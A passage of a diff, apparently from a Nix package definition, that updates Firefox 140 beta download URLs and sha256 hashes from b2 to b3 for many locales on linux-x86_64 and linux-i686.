-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/son/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/son/firefox-140.0b3.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "24d2724df88cedccbceeebd89e5c8087e54049bf11f291a707adacb16f4fefff";
+      sha256 = "d949c0da8ab52490c03fb8577dcd10a96cdf68378b4a70d5fd9ac28f6cb660e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sq/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sq/firefox-140.0b3.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "7211cb03bc81a7eb781fd4d35c6826c70df13a29fdb4486d423c718047a76859";
+      sha256 = "fb531412139967abb42c99a5a68fad323892b6101953e8e6207d45b9f62a6f94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sr/firefox-140.0b3.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "177e7e9786e45883f84939ce5eff32dfccdc08adc5c034e22437203637a9d89e";
+      sha256 = "a04d2d0347fb2761ad58b85304e0f8f9ffd343366608fd17cf687c2d53e61009";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sv-SE/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sv-SE/firefox-140.0b3.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "700f554cdf816dc5aa91b6cfbaf8bf204264538ea9b9ae3d6ef10d256450a29c";
+      sha256 = "ae8abbd42e9dd09213511f359d0a069e8f58b8fb8b1139600fe678cc437e7fa1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/szl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/szl/firefox-140.0b3.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "48db54afbcc1e6840e52b0a023dd6ee1956a44ee6a96930b52d10e1640155eed";
+      sha256 = "9939bccff2b5b00e0da9764d0d859eb17dc68477553c61c3bf8a3dd632779638";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ta/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ta/firefox-140.0b3.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "17074b69f77f2db0bd507e334d7b74cf290854d9fe696763223487c130629ca9";
+      sha256 = "844ea991305f8b946b0c5ac059788ed661abb033016e8c2e096d872784ecf20e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/te/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/te/firefox-140.0b3.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "85f1f5bb9ab7517b0ab0700bbb94048776454cec7677216005989c0c4eec6047";
+      sha256 = "bb21e776ffa953c82444f34ae9f81d06fa8d725c5a86e5b85b25d4171ce6079f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/tg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/tg/firefox-140.0b3.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "417933976c3a4b3d9e001adb8817b97830c22d2500d2bd20fb3d260d4efb58f2";
+      sha256 = "2f3d94b992a2a89169cb3628eb807967c0f4b02fb25c14ee7f9ea925c4d78e85";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/th/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/th/firefox-140.0b3.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "3ebb8a62335d1ff46df072f88244c94e7af3476efc892f2116526829f854d0e7";
+      sha256 = "cf58b75d8a9f1a4b8dd702a5dc4f3b8fb676e0f1c0d8949b445cef0aede13586";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/tl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/tl/firefox-140.0b3.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "9751edb8943cf113a14be6bf5e1f9b06368d8ad316ab3e58b0924a62fea31749";
+      sha256 = "8cb619b4d8caa1a6e492b8b2815b4c41a25fe3b6f53852d99ca55da56fab8815";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/tr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/tr/firefox-140.0b3.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "428675ed3f2bb5691329628bca3a1684c4154faffaf0a99d8ac7bea1e5af2f4f";
+      sha256 = "e5b39883c5e0a906873f4af0e8d6a630337d05467759741276077b70deeaa23a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/trs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/trs/firefox-140.0b3.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "5d41e893d50d9e39325ce571341594f247b429c7316415c7df1be2d7e67524c2";
+      sha256 = "a19d8f0262019768cbc61edbe3ce7b5eb69571b5ca1c5cc9736025f10e6250ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/uk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/uk/firefox-140.0b3.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "38e28de077f6c2e70ffd42cb08d9ebdbb33873f42ec28e3f1380675818b232c6";
+      sha256 = "4525800927692a4230034a5ac44351b87857e5292e5bec60aa478d52f55c0606";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ur/firefox-140.0b3.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "1f4be2e844e19a070bd976411abf5b84b8e71b68b098ef6724c0115e3347a4e2";
+      sha256 = "fad4ca04ddb978bfb405ef496cecfc54e0f59ad5cfe0adefe9f79bd55da6dc9a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/uz/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/uz/firefox-140.0b3.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "3b14162e19e28f35bc616fae251180a7fdf1698a7a9ebd0f43e04215fdb6dd54";
+      sha256 = "9098b78744b8b8af558fd4edbab5be3a573048405b05376d0a08a9d2282784c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/vi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/vi/firefox-140.0b3.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "34aaece124bf3a1af61dd0f6a0b7a7b924f332b04a2cb86c2e9375bb40e6e32b";
+      sha256 = "cc10fc7919e04a0401f910ed84092e8eeb8f926c2410c4ab2a9feb34b0a1fd80";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/xh/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/xh/firefox-140.0b3.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "1055d5e93a507660405c64d8a122617467d26894b7786e998a0226442bf2e106";
+      sha256 = "a9c75ada1290493a0f1265d47ed584dd5fe4c6ff3d763baee03d5c6741775394";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/zh-CN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/zh-CN/firefox-140.0b3.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "3725c141425b3977fd3120f3a6eacfbd5e2fb413a3723834e30ac3a41e5c124c";
+      sha256 = "0423bc10bc9f1affe9c4a54387c9c06d003fa5d600c42e351cccd1b94c096a13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/zh-TW/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/zh-TW/firefox-140.0b3.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "7ff7baece1723aa893bed76b18117ea1ec633371018443553b7eb1af90617859";
+      sha256 = "e07202200f0f41d691d8d4a4225b332b51fd00c14af0e5c2c61c1317938a69bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ach/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ach/firefox-140.0b3.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "b884ba50b81fe756b20f463131757dd701480fcd16133185a4fc983ca17d7c6d";
+      sha256 = "3c3f09f172315420d76a89352cf556095d3120cc8fce3384b825680978682886";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/af/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/af/firefox-140.0b3.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "60654b1bfb5c2922bb55ec75cc4c5c286e415741c0fb9b648bd53b3b2abb93d1";
+      sha256 = "eaedf8f14d1a89141cfdd02d1331982d57c283810229f1bc4a2add6acf47a7dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/an/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/an/firefox-140.0b3.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "ef3be35e1124bedb22f1ec478e7f55e0436c416e5a049a7ec3d97be2b87012ab";
+      sha256 = "52d635cf3d2cb3fe60f2f5a120714c011b6c5ddf46715450102d457fc9962318";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ar/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ar/firefox-140.0b3.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "67f4cda86a7e272fb194b6daaee4abe1040540014a02db93fa98e01f86748b4a";
+      sha256 = "893cad4f3e9ff8f6eb46861c17873d29ce07cecab1a52c666f3af91ac94b0f4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ast/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ast/firefox-140.0b3.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "052afbe7da0e5f8772097e25db3019a4bf8092c3369f8617052e876b162e7d4f";
+      sha256 = "c7981fccfb22d3afb4e36e34ca11629bbb064b2256d297e0717dd7a7c76ef502";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/az/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/az/firefox-140.0b3.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "394b4a7cb760e060b75031ecaa462dbb72622565583eb0ad7d3228fa1ab8b522";
+      sha256 = "a1192052f0a9dfc637fe6dfea16b4bcc4a1e7a6881d025efcbe65f4dd4a49027";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/be/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/be/firefox-140.0b3.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "c353fdd48caf79fa4ad02148bf80d480d7ecac400368d6e865be11f479ef794a";
+      sha256 = "575d234e0d09dc61dd7eb2574b0db946b866472e31f45e80c6af90c99dd83cf6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/bg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/bg/firefox-140.0b3.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "12e6f03a85147c992445ad753af7ba04c265570c103a489bca7fd9e724fc9f22";
+      sha256 = "39c2fc75618ea33423a5ae0c606d416484c0c6bceb82f6ca79e12e26efb23220";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/bn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/bn/firefox-140.0b3.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "fe2c94b27a658388764fe5147ff989d2915f013c3efe26a60210022ab749e877";
+      sha256 = "c92ac4831df0e4e4f8af68ddcb82d3bae98505845f04bfd39bb3e573639d648d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/br/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/br/firefox-140.0b3.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "aad228d7e751e6829e9fc48a4de4c71bfd1dbbe6cf698f0c51065baab521991e";
+      sha256 = "39c3b934fe6bb0eb593d52fc17983994a680261e74f5764c9cf2dd5e0ecc0527";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/bs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/bs/firefox-140.0b3.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "8931cc82c8f5a22053fe21dbb2947d5b1478348f8dd7e9ee4f727771166006af";
+      sha256 = "dd4b8a6c02cbe11536ef7de6d1ea64bb17eb16806aa6dcf838847f7b2649ba22";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ca-valencia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ca-valencia/firefox-140.0b3.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "04a5f2a9344e369adfc40c57b719446da83ab80eea582efae5dc56ff0abb50de";
+      sha256 = "3a43a9986e3bafbcb8c59904f8de749cd9a8e11a5a6424780c1db1f75e57a152";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ca/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ca/firefox-140.0b3.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "36e14338dc3686949fc391946599b523b83c8bc9638c42ee7fa424ea4f0731f1";
+      sha256 = "0e11daa82aa4663c1d07f96fa68cdd7e06d404ac372887e510173db91456203b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/cak/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/cak/firefox-140.0b3.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "511fe4e4dbb53e2df4a76aa7ce83c67405f0f177d275125570b00e909c3dd327";
+      sha256 = "d3558555d2e55d4089a224c6f49cc9d4ae60cc5b55b95ea29b131f53e9516693";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/cs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/cs/firefox-140.0b3.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "56f018158aa318c1ed5d4355b7fdc2de9ab98e45a2e7a86ba330a4b7f4b5c884";
+      sha256 = "a6c2c7db6633d6fe5fd24ee17efb6cff59e00959fa0226234bc90805247fe0bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/cy/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/cy/firefox-140.0b3.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "7f4a3c45b989379066dc94eb10c609c94efb62706a0ce6238c9f652b18e11972";
+      sha256 = "59c697c88dcf4658cd4ea85d5c110239b786df15d84e21006c3ae9254d932122";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/da/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/da/firefox-140.0b3.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "d4cbf628409e36837cfdeb25c4815bb48d469d9c21019a87960e904ef2f2bf03";
+      sha256 = "42c2bd817b7f337146f52c00b3671ddbc48f4a1b39bbece4e9fbcd3a97545e33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/de/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/de/firefox-140.0b3.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "3cffaf86b35b6c4fc8dafac8817c958247241e617562baab0c099159f4d8445a";
+      sha256 = "c8a4c21ce54d08d9539d2dedbc14a108842c401354e59b2a2e3f79f0322305e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/dsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/dsb/firefox-140.0b3.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "ae5ef7bfad006e61943aab84c6b4af62beb4e2caa2b802e5bc7cd1d8cf4ca29d";
+      sha256 = "7eab0cdf71a1571227b505450ed7af7d5605c306116a1fdb92697e2a5653afa7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/el/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/el/firefox-140.0b3.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "efdbf60eeb1f6e04aebef7ef6c35d049d4719211d90203c514984dc0f506d2c2";
+      sha256 = "f903fe1eb373a4ef6160aa6137f7081f52c2134301b807417c4a9fbd66cc3ad2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/en-CA/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/en-CA/firefox-140.0b3.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "72469319463c7a378e7de8de9cd28f9a64d13ba027aea08caf6cda9db297ad9c";
+      sha256 = "b9718d0a1333f27862797531fc96a410d28f483537f9eb23d8c42ce5abe755b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/en-GB/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/en-GB/firefox-140.0b3.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "593c9812fd7296bae1388d96d8b4aaf75a2f3bfcb6c1a4cb740cb28d5e34f3d4";
+      sha256 = "cf2534426f9b5fce7e8aa5fc301c3e59b4e1718fb87a9b2737f9d04de1011a8a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/en-US/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/en-US/firefox-140.0b3.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "eff54312f1bfa5f4be53d200cbaea6dd85f41c5cfea83611f9a6977ecc7228f7";
+      sha256 = "71ae3e6d03e16c80d8f7f41e79954a4dfb9aaac6df0bc04264672cf4027b0488";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/eo/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/eo/firefox-140.0b3.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "985b855971a03440ad95a69cb0042fb103b146900a7957ac61277b46dde691e4";
+      sha256 = "651ea1186149d9cd455c0b9dbc7c2c7dc70a46963d5690a576acc59cba6e56c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/es-AR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/es-AR/firefox-140.0b3.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "a37df3746470d646d2c97775d1e90cec189ae3e487f508fbd84523de7f6e35b3";
+      sha256 = "d11382ca1dc4b707c5330b06cc9e951bdcaeea3846516195f52027e2c557bbbd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/es-CL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/es-CL/firefox-140.0b3.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "371f39656c30e7c677bf1b57696ef135191bb1b755f152b2df77638cba27afe7";
+      sha256 = "9e26cf06cc5e01059711dd2d79dc25cf8635b28d17eba1f0d08c25eb61305a01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/es-ES/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/es-ES/firefox-140.0b3.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "7446b7f231a58db5feeda635bffc148ca699a3a3e792737077c177d4b7794318";
+      sha256 = "164c2f0347d9244651104c835d75d9f4093218a0f67ea7709cb1f4162ee294d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/es-MX/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/es-MX/firefox-140.0b3.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "b0ffd426095764a5b67cf7757f29aca249205379d2e5505f48a442e599796436";
+      sha256 = "bd092ea5d5dd484a092605d72fce5358e86537e89a9a7a8974dd6576b02c8bf4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/et/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/et/firefox-140.0b3.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "9d67e8f49fedffb0054f6e211f6e43eb63767a0ce9733827f5ebdbb5d501305c";
+      sha256 = "3d19ddfefeabd49b3703fcfb0708bb6a46b19ad8bda204f91d4901e059b4d5ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/eu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/eu/firefox-140.0b3.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "f7902502f184288a7a3d3c22918711e9c7b615aac7e6ee233cefd0bdfcec7cdd";
+      sha256 = "b02d55efc88c1b8348dd719a599b568363db17923d5fcfb26952d551940557a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/fa/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/fa/firefox-140.0b3.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "7929c783bf090082fc51cee3e45398396ade4909237e9ba951c7d07ccdaa0126";
+      sha256 = "043510f251a179077cb270d628d9cca62785f746668c5bf8291ad8907b624b2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ff/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ff/firefox-140.0b3.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "64260c4ba89431f4537838ac0a4ad15aca7f2e771e8f7150f42cd7790be32e39";
+      sha256 = "8f52a213ab4f324f5fd94ba105c2c1e9970d69af93b2f9b30311a8bd7da615d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/fi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/fi/firefox-140.0b3.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "388366eeed2c2487cbfea71ec8469c317b9b4315fe775e4aa629daf1ca6bee6a";
+      sha256 = "efae201318b19f549e69cb5aa4f59dc1bc87d682b40362203e25a5c1371b6d2f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/fr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/fr/firefox-140.0b3.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "b5cd62e23ee855775e0529f849936dc0ff949605372e217b9cdb4dbcab135a3d";
+      sha256 = "e43116b71ad9f1b9158187c3a4299c36e5719da985d00be7a871bdeada36b192";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/fur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/fur/firefox-140.0b3.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "4fe3aee24eec68a7b88c40e23f035848030525b74cf3e17acc81bc84d5c0e086";
+      sha256 = "23740807dd3b010a48486200bfa8ed888beb9b4e0aafa83b241409954f93365f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/fy-NL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/fy-NL/firefox-140.0b3.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "2efb11fc2c9ac5591828fa237c4f3549ac6a708cc8ddbccb5517f6408c362eb1";
+      sha256 = "49063a53eb3ad9f9c62c859211bd19a9ac55f2b60a277e27bc1d82297e919f19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ga-IE/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ga-IE/firefox-140.0b3.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "64e96b326e33d74c2fed43d45c1900d3c90593c9ef8da0ecf15c1b5a509a5f1a";
+      sha256 = "0deb27c1880f256fef7916633f78423128b1a8ff76a977bfcc265dfa77173a0a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/gd/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/gd/firefox-140.0b3.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "947d98a1333460ef5d722becc2d28599425e4f877c522f2f11bc320edebb8a77";
+      sha256 = "c3ce807880680a92dfef22fdb9cb8e638dc686a59049c6cf01efab4ac3732ce2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/gl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/gl/firefox-140.0b3.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "8f3b052afdbe5371a4d2c87100f005aa1878a06ffae8cbf75dd95cc6003a7d97";
+      sha256 = "a978a9abb6a675968285efaa76ed1ea89e8741c071ff976ded923e83e242f75d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/gn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/gn/firefox-140.0b3.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "c9fff849e03704d1324680eb856d01b051e8395e7dea9ee80ceba2ecb1c2c83a";
+      sha256 = "40d423c64850455905b955f9c84c0aceff20e79a469a654bb04722d1bf04c928";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/gu-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/gu-IN/firefox-140.0b3.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
